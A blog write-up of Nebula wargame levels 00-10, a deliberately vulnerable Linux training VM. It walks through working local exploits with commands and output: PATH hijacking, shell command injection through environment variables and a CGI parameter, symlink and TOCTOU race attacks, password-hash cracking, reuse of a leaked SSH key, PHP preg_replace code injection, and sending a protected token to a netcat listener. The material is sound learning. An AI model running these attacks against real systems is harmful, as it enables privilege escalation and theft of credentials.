Core dump overflow

Core dump in progress...

Exploit Exercises - Nebula levels 00-10

| Comments

exploit-exercises.com provides a variety of virtual machines, documentation and challenges that can be used to learn about a variety of computer security issues such as privilege escalation, vulnerability analysis, exploit development, debugging, reverse engineering, and general cyber security issues.

Nebula takes the participant through a variety of common (and less than common) weaknesses and vulnerabilities in Linux. It takes a look at

  • SUID files
  • Permissions
  • Race conditions
  • Shell meta-variables
  • $PATH weaknesses
  • Scripting language weaknesses
  • Binary compilation failures

At the end of Nebula, the user will have a reasonably thorough understanding of local attacks against Linux systems, and a cursory look at some of the remote attacks that are possible.

I am doing these levels by SSH’ing into the box, rather than directly in the Nebula terminal.

Because my posts tend to become gigantic when I am focusing on a single challenge and it takes alot of time between them, I am going to break them up into smaller posts from now on, hence why I will cover only the levels from 00 to 10 in this post.

Level00

This level requires you to find a Set User ID program that will run as the “flag00” account. You could also find this by carefully looking in top level directories in / for suspicious looking directories.

Alternatively, look at the find man page.

To access this level, log in as level00 with the password of level00.

After logging in, use the find command like this: sudo find / -user flag00 -perm -4000 -print 2> /dev/null. It prints all SUID files of the flag00 user and all error output is thrown in the black hole. So you will find the binary in /rofs/bin/…/flag00. You could also have looked for it directly, by noticing the rofs folder which doesn’t normally exist in a Linux installation. Run the binary and you will see this message:

1
Congrats, now run getflag to get your flag!

Run getflag and level complete:

1
You have successfully executed getflag on a target account

Level01

There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?

To do this level, log in as the level01 account with the password level01. Files for this level can be found in /home/flag01.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  gid_t gid;
  uid_t uid;
  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  system("/usr/bin/env echo and now what?");
}

This is a SUID program owned by the flag01 user. When run it outputs and now what?. The env program is the one that actually invokes the echo command, and it doesn’t use an absolute path. env runs a program in a modified environment and it looks in the $PATH for the executable it’s supposed to run. So we can make an executable of our own, name it echo, and add it to the path, so that it will take precedence over the others.

First, let’s see our current path:

1
2
level01@nebula:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games

I’m going to add my echo program to the path to be searched before anywhere else:

1
2
3
level01@nebula:~$ PATH=/tmp:$PATH
level01@nebula:~$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games

And now create an echo file in /tmp/, that will run getflag (and make it executable):

1
2
level01@nebula:/tmp$ cat echo 
/bin/getflag

Now go back and run the flag01 binary:

1
2
level01@nebula:/home/flag01$ ./flag01 
You have successfully executed getflag on a target account

Level02

There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?

To do this level, log in as the level02 account with the password level02. Files for this level can be found in /home/flag02.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  char *buffer;

  gid_t gid;
  uid_t uid;

  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  buffer = NULL;

  asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
  printf("about to call system(\"%s\")\n", buffer);

  system(buffer);
}

Running this program outputs the following:

1
2
3
level02@nebula:/home/flag02$ ./flag02 
about to call system("/bin/echo level02 is cool")
level02 is cool

The vulnerability is based on the fact that getenv is called on the USER environment variable. Since this is a SUID program, it’s dangerous to trust the contents of the environment. The manpage actually provides a more secure alternative:

The secure_getenv() function is intended for use in general-purpose libraries to avoid vulnerabilities that could occur if set-user-ID or set-group-ID programs accidentally trusted the environment.

And we can exploit this by modifying the USER variable to make the program execute code of our choosing.

1
2
3
4
5
6
7
8
level02@nebula:/home/flag02$ export USER='pwned;/bin/getflag;'
level02@nebula:/home/flag02$ echo $USER
pwned;/bin/getflag;
level02@nebula:/home/flag02$ ./flag02 
about to call system("/bin/echo pwned;/bin/getflag; is cool")
pwned
You have successfully executed getflag on a target account
sh: is: command not found

So why did this work? Remember this line:

1
asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));

Normally the USER would be level02, so it would look like this: /bin/echo level02 is cool. But we have control of what is returned by getenv. The injection was pwned;/bin/getflag;. So now it becomes this: /bin/echo pwned;/bin/getflag; is cool. The “pwned” is there just so that the echo command can print something. Then the ; terminates the echo command and chains a new one, executing getflag. And the final ; acts to comment out the rest of the string that was to be displayed (notice that bash treated the string as a command and reported that it couldn’t find it).

Level03

Check the home directory of flag03 and take note of the files there.

There is a crontab that is called every couple of minutes.

To do this level, log in as the level03 account with the password level03. Files for this level can be found in /home/flag03.

So we have a shell script and a directory:

1
2
3
4
5
6
7
8
9
level03@nebula:/home/flag03$ ls
writable.d  writable.sh
level03@nebula:/home/flag03$ cat writable.sh 
#!/bin/sh

for i in /home/flag03/writable.d/* ; do
  (ulimit -t 5; bash -x "$i")
  rm -f "$i"
done

So the crontab is executing this script that executes every file in the writable.d directory and then removes it. Which means all we have to do is put a file of our own that calles getflag in the directory, and wait for cron to do its job:

1
2
level03@nebula:/home/flag03/writable.d$ cat > exeme.sh 
/bin/getflag > /tmp/readme

Now wait a bit and check the output:

1
2
level03@nebula:/tmp$ cat readme
You have successfully executed getflag on a target account

Level04

This level requires you to read the token file, but the code restricts the files that can be read. Find a way to bypass it :)

To do this level, log in as the level04 account with the password level04. Files for this level can be found in /home/flag04.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>

int main(int argc, char **argv, char **envp)
{
  char buf[1024];
  int fd, rc;

  if(argc == 1) {
      printf("%s [file to read]\n", argv[0]);
      exit(EXIT_FAILURE);
  }

  if(strstr(argv[1], "token") != NULL) {
      printf("You may not access '%s'\n", argv[1]);
      exit(EXIT_FAILURE);
  }

  fd = open(argv[1], O_RDONLY);
  if(fd == -1) {
      err(EXIT_FAILURE, "Unable to open %s", argv[1]);
  }

  rc = read(fd, buf, sizeof(buf));

  if(rc == -1) {
      err(EXIT_FAILURE, "Unable to read fd %d", fd);
  }

  write(1, buf, rc);
}

Right, so our goal is to read the token file:

1
2
level04@nebula:/home/flag04$ ls
flag04  token

We don’t have permission to do so directly. The flag04 executable can read files but it’s conveniently coded not to read the token file. However, it’s able to read other files just fine, provided we don’t run into permission issues. So I went to /tmp and made a symbolic link that points to the token file:

1
2
3
level04@nebula:/tmp$ ln -s /home/flag04/token /tmp/readthis
level04@nebula:/tmp$ ls -l readthis 
lrwxrwxrwx 1 level04 level04 18 2015-09-04 01:17 readthis -> /home/flag04/token

And now I had the flag04 binary read the symlink, and implicitly, the token:

1
2
level04@nebula:/home/flag04$ ./flag04 /tmp/readthis
06508b5e-8909-4f38-b630-fdb148a848a2

I was at a loss at what to do with this string, but since our objective is to run getflag, I tried su flag04 and used the token as password and it worked. Then it was all a matter of running getflag:

1
2
sh-4.2$ /bin/getflag
You have successfully executed getflag on a target account

Level05

Check the flag05 home directory. You are looking for weak directory permissions

To do this level, log in as the level05 account with the password level05. Files for this level can be found in /home/flag05.

Taking a look in the flag05 directory:

1
2
3
4
5
6
7
8
9
level05@nebula:/home/flag05$ ls -la 
total 5
drwxr-x--- 4 flag05 level05   93 2012-08-18 06:56 .
drwxr-xr-x 1 root   root      60 2012-08-27 07:18 ..
drwxr-xr-x 2 flag05 flag05    42 2011-11-20 20:13 .backup
-rw-r--r-- 1 flag05 flag05   220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag05 flag05  3353 2011-05-18 02:54 .bashrc
-rw-r--r-- 1 flag05 flag05   675 2011-05-18 02:54 .profile
drwx------ 2 flag05 flag05    70 2011-11-20 20:13 .ssh

Ok, the .backup folder seems interesting, let’s see what’s in there:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
level05@nebula:/home/flag05/.backup$ ls
backup-19072011.tgz
level05@nebula:/home/flag05/.backup$ tar zxvf backup-19072011.tgz 
.ssh/
tar: .ssh: Cannot mkdir: Permission denied
.ssh/id_rsa.pub
tar: .ssh: Cannot mkdir: Permission denied
tar: .ssh/id_rsa.pub: Cannot open: No such file or directory
.ssh/id_rsa
tar: .ssh: Cannot mkdir: Permission denied
tar: .ssh/id_rsa: Cannot open: No such file or directory
.ssh/authorized_keys
tar: .ssh: Cannot mkdir: Permission denied
tar: .ssh/authorized_keys: Cannot open: No such file or directory
tar: Exiting with failure status due to previous errors

Oops! It looks like this is a backup of the .ssh folder but we only have read permissions in this directory:

1
2
3
level05@nebula:/tmp$ ls -l /home/flag05/.backup/
total 2
-rw-rw-r-- 1 flag05 flag05 1826 2011-11-20 20:13 backup-19072011.tgz

Not a problem though! We can just move the archive to a directory where we have more freedom:

1
2
3
4
5
6
level05@nebula:/home/flag05/.backup$ cp backup-19072011.tgz /tmp/
level05@nebula:/tmp$ tar vzxf backup-19072011.tgz 
.ssh/
.ssh/id_rsa.pub
.ssh/id_rsa
.ssh/authorized_keys

And now with flag05’s private key, we can SSH to the machine and run getflag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
level05@nebula:/tmp/.ssh$ ssh -i id_rsa flag05@localhost
  
      _   __     __          __     
     / | / /__  / /_  __  __/ /___ _
    /  |/ / _ \/ __ \/ / / / / __ `/
   / /|  /  __/ /_/ / /_/ / / /_/ / 
  /_/ |_/\___/_.___/\__,_/_/\__,_/  
                                    
    exploit-exercises.com/nebula


For level descriptions, please see the above URL.

To log in, use the username of "levelXX" and password "levelXX", where
XX is the level number.

Currently there are 20 levels (00 - 19).


Welcome to Ubuntu 11.10 (GNU/Linux 3.0.0-12-generic i686)

 * Documentation:  https://help.ubuntu.com/
New release '12.04 LTS' available.
Run 'do-release-upgrade' to upgrade to it.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

flag05@nebula:~$ getflag
You have successfully executed getflag on a target account

Level06

The flag06 account credentials came from a legacy unix system.

To do this level, log in as the level06 account with the password level06. Files for this level can be found in /home/flag06.

I looked around a bit, didn’t find anything interesting in the files owned by flag06. But keeping the hint in mind, I took a cursory glance at the /etc/passwd file, and bingo!:

1
2
3
4
level06@nebula:/home/flag06$ cat /etc/passwd
...
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh
...

The password hash for the flag06 user is inside /etc/passwd! (as a remnant of the old times when this file also contained the passwords for the users). Time to get cracking! I copied the hash to a file and ran John on it:

1
2
3
4
root@kali:~/Desktop# john --show hash
?:hello

1 password hash cracked, 0 left

So the password is hello. Now it’s just a matter of ssh’ing and getting the flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
level06@nebula:/home/flag06$ ssh flag06@localhost
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is ea:8d:09:1d:f1:69:e6:1e:55:c7:ec:e9:76:a1:37:f0.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.
  
      _   __     __          __     
     / | / /__  / /_  __  __/ /___ _
    /  |/ / _ \/ __ \/ / / / / __ `/
   / /|  /  __/ /_/ / /_/ / / /_/ / 
  /_/ |_/\___/_.___/\__,_/_/\__,_/  
                                    
    exploit-exercises.com/nebula


For level descriptions, please see the above URL.

To log in, use the username of "levelXX" and password "levelXX", where
XX is the level number.

Currently there are 20 levels (00 - 19).


flag06@localhost's password: 
Welcome to Ubuntu 11.10 (GNU/Linux 3.0.0-12-generic i686)

 * Documentation:  https://help.ubuntu.com/
New release '12.04 LTS' available.
Run 'do-release-upgrade' to upgrade to it.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

flag06@nebula:~$ getflag
You have successfully executed getflag on a target account

Level 07

The flag07 user was writing their very first perl program that allowed them to ping hosts to see if they were reachable from the web server.

To do this level, log in as the level07 account with the password level07. Files for this level can be found in /home/flag07.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub ping {
  $host = $_[0];

  print("<html><head><title>Ping results</title></head><body><pre>");

  @output = `ping -c 3 $host 2>&1`;
  foreach $line (@output) { print "$line"; }

  print("</pre></body></html>");

}

# check if Host set. if not, display normal page, etc

ping(param("Host"));

Start by looking inside the thttpd.conf for some options and information about how the server is set up (thttpd is a HTTP server designed for simplicity, speed and portability). I only kept the lines that interested me in the output below:

1
2
3
4
5
6
7
...
# Specifies an alternate port number to listen on.
port=7007

# Specifies what user to switch to after initialization when started as root.
user=flag07
...

So the web server runs as the flag07 user. I pointed my browser to http://192.168.80.133:7007/index.cgi and saw some usage output:

1
2
3
4
Usage: ping [-LRUbdfnqrvVaAD] [-c count] [-i interval] [-w deadline]
            [-p pattern] [-s packetsize] [-t ttl] [-I interface]
            [-M pmtudisc-hint] [-m mark] [-S sndbuf]
            [-T tstamp-options] [-Q tos] [hop1 ...] destination

Looking in the source code, the program needs a Host parameter, otherwise it will display this usage information. I tested it by changing the URL to http://192.168.80.133:7007/index.cgi?Host=localhost and the ping was run successfully:

1
2
3
4
5
6
7
8
PING localhost (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost (127.0.0.1): icmp_req=1 ttl=64 time=0.025 ms
64 bytes from localhost (127.0.0.1): icmp_req=2 ttl=64 time=0.028 ms
64 bytes from localhost (127.0.0.1): icmp_req=3 ttl=64 time=0.034 ms

--- localhost ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1999ms
rtt min/avg/max/mdev = 0.025/0.029/0.034/0.003 ms

So it’s now a matter of injecting the command we want this program to run. I first tried http://192.168.80.133:7007/index.cgi?Host=localhost;getflag to stack another command after the ping, but it didn’t work. I had to URL encode the ; for it to work: http://192.168.80.133:7007/index.cgi?Host=localhost%3Bgetflag

1
2
3
4
5
6
7
8
9
PING localhost (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost (127.0.0.1): icmp_req=1 ttl=64 time=0.017 ms
64 bytes from localhost (127.0.0.1): icmp_req=2 ttl=64 time=0.036 ms
64 bytes from localhost (127.0.0.1): icmp_req=3 ttl=64 time=0.045 ms

--- localhost ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1998ms
rtt min/avg/max/mdev = 0.017/0.032/0.045/0.013 ms
You have successfully executed getflag on a target account

Level 08

World readable files strike again. Check what that user was up to, and use it to log into flag08 account.

To do this level, log in as the level08 account with the password level08. Files for this level can be found in /home/flag08.

There is a capture.pcap file lying around for our convenience. I transfered it to my machine so I can look at it in Wireshark. Followed TCP Stream and saw a potential password:

level8

So the user tried to log in to something called wwwbugs, which I assumed it’s irrelevant to the challenge. I tried SSH’ing as flag08 with the password of backdoor…00Rm8.ate, but of course it didn’t work. Next I tried removing the dots and keeping only the letters and numbers but that didn’t work either. But I was fairly sure the password must be related to this string. When looking at the stream in hex, I thought there must be a pattern for those dots:

level8hex

The hex for all the dots in the string is 7f, but when looking at the Ascii table, hex encoding for dots is 2e. So these aren’t really dots! At the very end of the Ascii table I saw that 7f actually represents the DEL key. So these dots are placeholders for when the DEL key was pressed. The user must have had trouble remembering his password or something. With this discovery in mind, it’s possible to reconstruct the valid password:

  • backdoor…00Rm8.ate –> backdoor + DELETE 3 times = backd

  • 00Rm8.ate + DELETE 1 time = 00Rmate

So the password is backd00Rmate. At least now it looks more like a password. Tried to SSH as flag08 now with this password and it worked!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
level08@nebula:/home/flag08$ ssh flag08@localhost
  
      _   __     __          __     
     / | / /__  / /_  __  __/ /___ _
    /  |/ / _ \/ __ \/ / / / / __ `/
   / /|  /  __/ /_/ / /_/ / / /_/ / 
  /_/ |_/\___/_.___/\__,_/_/\__,_/  
                                    
    exploit-exercises.com/nebula


For level descriptions, please see the above URL.

To log in, use the username of "levelXX" and password "levelXX", where
XX is the level number.

Currently there are 20 levels (00 - 19).


flag08@localhost's password: 
Welcome to Ubuntu 11.10 (GNU/Linux 3.0.0-12-generic i686)

 * Documentation:  https://help.ubuntu.com/
New release '12.04 LTS' available.
Run 'do-release-upgrade' to upgrade to it.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

flag08@nebula:~$ getflag
You have successfully executed getflag on a target account

Level 09

There’s a C setuid wrapper for some vulnerable PHP code…

To do this level, log in as the level09 account with the password level09. Files for this level can be found in /home/flag09.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

function spam($email)
{
  $email = preg_replace("/\./", " dot ", $email);
  $email = preg_replace("/@/", " AT ", $email);

  return $email;
}

function markup($filename, $use_me)
{
  $contents = file_get_contents($filename);

  $contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
  $contents = preg_replace("/\[/", "<", $contents);
  $contents = preg_replace("/\]/", ">", $contents);

  return $contents;
}

$output = markup($argv[1], $argv[2]);

print $output;

?>

Ok, me and regex don’t get along at all! After looking at the code, I had only 2 ideas / leads:

  • the markup function takes a $use_me parameter which isn’t used in the code

  • the solution probably revolves around a preg_replace exploit (I had a distant memory of encountering and exploiting this in another challenge which I couldn’t remember)

After some googling, I found out that indeed preg_replace can be exploited, but first what exactly does this function do?

  • preg_replace($pattern, $replacement, $subject) – Searches subject for matches to pattern and replaces them with replacement.

Now let’s see how and why it can be exploited. From http://www.php.net/manual/en/reference.pcre.pattern.modifiers.php I read this:

e (PREG_REPLACE_EVAL) – If this deprecated modifier is set, preg_replace() does normal substitution of backreferences in the replacement string, evaluates it as PHP code, and uses the result for replacing the search string. Single quotes, double quotes, backslashes () and NULL chars will be escaped by backslashes in substituted backreferences.

On the page there is also a security warning for using this function and an example of code injection. Remote code execution is possible because unsanitised user input is eval()ed.

Also you can read more about this vulnerability and exploit here: http://www.madirish.net/402

Before anything else, let’s just see what happens when running the binary. I made some files in tmp for this purpose to avoid reading superfluous system files:

1
2
3
level09@nebula:/home/flag09$ ./flag09 /tmp/test
PHP Notice:  Undefined offset: 2 in /home/flag09/flag09.php on line 22
nothing to see here

PHP complained about the missing $argv[2] (remember the $use_me is unused), but it still read the file. If I tried 2 arguments, the error disappeared, but the second file wasn’t output (how could they forget to use the $use_me?!). Ok, enough of that! So I know now that I can get arbitrary code execution by injecting some code to be eval()ed by preg_replace. This means that I will actually have to grasp what the regex is doing…oh, the fun!

First of all, the line that facilitates the exploitation is:

1
$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);

This operates on the contents of the file that was read, you can see that the /e modifier is being used, and also that the spam() function is called. This function seems to replace . with dot and @ with AT, but I plugged it into a PHP interpreter to be sure:

1
haxor@hack.com becomes haxor AT hack dot com

It is this function where we will inject our code. But we have to match the pattern that is expected. After some pain and suffering, and 2 excellent regex resources that even my regex-incompatible brain could grasp (this tutorial and this cheatsheet), I concluded that the pattern to be matched is like this:

1
[email haxor@hack.com]

After the replacement operations the above becomes haxor AT hack dot com and the [] is replaced with <>. Now for the exploitation. On the http://www.php.net/manual/en/reference.pcre.pattern.modifiers.php page, the exploit string for the provided code is:

1
<h1>{${eval($_GET[php_code])}}</h1>

I admit I don’t understand why it works while sandwiched between {}. The h1 tags and $_GET apply to the example code on the page, so in this case I kept the string:

1
{${eval()}}

Instead of eval(), we want system() to call an external program. Of course don’t forget that you have to sandwich it inside the pattern [email ]. Now it becomes:

1
[email {${system()}}]

Cool. Now we want to run getflag, so how should we pass it to system()? Remember the unsued variable $use_me!

At this point I injected some harmless printing functions inside an interpreter to check if the injection worked successfully, and when it did, I moved back to our particular case. So here’s how the situation looks now:

  • we want to run getflag

  • we can run external commands in PHP with system()

  • we have the $use_me parameter available and unused anywhere, so why not use it?

  • we have to put the exploit into a file to be read by the binary

With all these requirements in mind, I created a file with the exploit:

1
2
level09@nebula:/home/flag09$ cat /tmp/useme
[email {${system($use_me)}}]

Now we can finally use that $use_me variable, since whatever we place in it will be executed by system(). Running it now produces an error but it still does the job:

1
2
3
level09@nebula:/home/flag09$ ./flag09 /tmp/useme getflag
You have successfully executed getflag on a target account
PHP Notice:  Undefined variable: You have successfully executed getflag on a target account in /home/flag09/flag09.php(15) : regexp code on line 1

Pff, this was a difficult level, but really interesting and I learned something!

Level 10

The setuid binary at /home/flag10/flag10 binary will upload any file given, as long as it meets the requirements of the access() system call.

To do this level, log in as the level10 account with the password level10 . Files for this level can be found in /home/flag10.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

int main(int argc, char **argv)
{
 char *file;
 char *host;

 if(argc < 3) {
  printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
  exit(1);
 }

 file = argv[1];
 host = argv[2];

 if(access(argv[1], R_OK) == 0) {
  int fd;
  int ffd;
  int rc;
  struct sockaddr_in sin;
  char buffer[4096];

  printf("Connecting to %s:18211 .. ", host); fflush(stdout);

  fd = socket(AF_INET, SOCK_STREAM, 0);

  memset(&sin, 0, sizeof(struct sockaddr_in));
  sin.sin_family = AF_INET;
  sin.sin_addr.s_addr = inet_addr(host);
  sin.sin_port = htons(18211);

  if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
   printf("Unable to connect to host %s\n", host);
   exit(EXIT_FAILURE);
  }

#define HITHERE ".oO Oo.\n"
  if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
   printf("Unable to write banner to host %s\n", host);
   exit(EXIT_FAILURE);
  }
#undef HITHERE

  printf("Connected!\nSending file .. "); fflush(stdout);

  ffd = open(file, O_RDONLY);
  if(ffd == -1) {
   printf("Damn. Unable to open file\n");
   exit(EXIT_FAILURE);
  }

  rc = read(ffd, buffer, sizeof(buffer));
  if(rc == -1) {
   printf("Unable to read from file: %s\n", strerror(errno));
   exit(EXIT_FAILURE);
  }

  write(fd, buffer, rc);

  printf("wrote file!\n");

 } else {
  printf("You don't have access to %s\n", file);
 }
}

In the home directory there is also a token file which we probably want to read. Since the briefing already hints at the system call we need to exploit, let’s read the access() manpage:

  • int access(const char pathname, int mode);*

access() checks whether the calling process can access the file pathname. If pathname is a symbolic link, it is dereferenced.

Warning: Using these calls to check if a user is authorized to, for example, open a file before actually doing so using open(2) creates a security hole, because the user might exploit the short time interval between checking and opening the file to manipulate it. For this reason, the use of this system call should be avoided.

The type of vulnerability in this code is a time-of-check, time-of-use (TOCTOU) race condition. You can read more about it on mitre.org. To summarize, the program checks the property of a file (in this case it checks if the user is allowed to read the file), and then performs an operation on it (reading, writing, etc.). But the file that is checked is referenced by its name, and not its file descriptor, meaning that the program is vulnerable in the interval between the call to access() and the call to open(), since the file that was passed to access() might not be the same as the one which open() will operate on.

First of all I wanted to test that the program will upload a file without problems, so I had netcat listen on my machine and created a file on the nebula system and tried to send it:

1
2
3
level10@nebula:/home/flag10$ ./flag10 /tmp/tok 192.168.80.130
Connecting to 192.168.80.130:18211 .. Connected!
Sending file .. wrote file!

And on my netcat side:

1
2
3
nc: connect to 192.168.80.130 18211 from 192.168.80.133 60491
.oO Oo.
blabla

So it worked just fine. The binary sent a banner and then the contents of the file. Now it’s a matter of how to fool it into sending the token which we don’t have permission to read. Well, what if the access() gives the ok to a file that I made, but when open() will try to read it, instead it will be a symbolic link to the token? After some trial and error, here’s the solution that worked:

  • first, on my host machine, I ran netcat in an infinite loop so that it will keep listening even when the other side closes the connection:
1
root@kali:~# while true; do nc -nlp 18211; done
  • on the Nebula machine, I ran this command:
1
level10@nebula:/home/flag10$ while true; do touch /tmp/tok & ./flag10 /tmp/tok 192.168.80.130 & ln -fs /home/flag10/token /tmp/tok & rm -f /tmp/tok; done

This is another infinite loop that runs a series of commands in the background. A file named tok is created in /tmp/, the flag10 binary attempts to send this file to my host, but there is also a symlink command that links tok to the token, and this might happen before or after the access() call. And finally, the tok file is removed. In the netcat window, you will see the output flying by, and besides the banner, you can see the token contents: 615a2ce1-b2b5-4c76-8eed-8aa5c4015c27, when the timing is right.

Note that these commands aren’t chained, but they run independent of each other (forked and run asynchronously in a separate sub-shell). You can read more here about the use of & on the command line

There is another alternative way I completed it, by following the example of the race condition attacks on pages 16-19 (there are nice diagrams helping with the explanation). Again, with netcat listening and 2 terminals on the Nebula machine, in one I run:

1
level10@nebula:/tmp$ while true; do touch dummy; ln -sf dummy tok; rm -f tok; ln -sf /home/flag10/token tok; done

And in the other:

1
level10@nebula:/home/flag10$ while true; do ./flag10 /tmp/tok 192.168.80.130; done

When tok is passed to access(), everything is fine, but before the open() call, tok has been replaced with a symlink to the token, which open() happily reads.

To finish, I used the token to SSH in as the flag10 user and run getflag:

1
2
flag10@nebula:~$ getflag
You have successfully executed getflag on a target account
1
2
3
4
5
6
7
8
9
10
 _________________________________________
/ Better hope the life-inspector doesn't  \
| come around while you have your life in |
\ such a mess.                            /
 -----------------------------------------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

Comments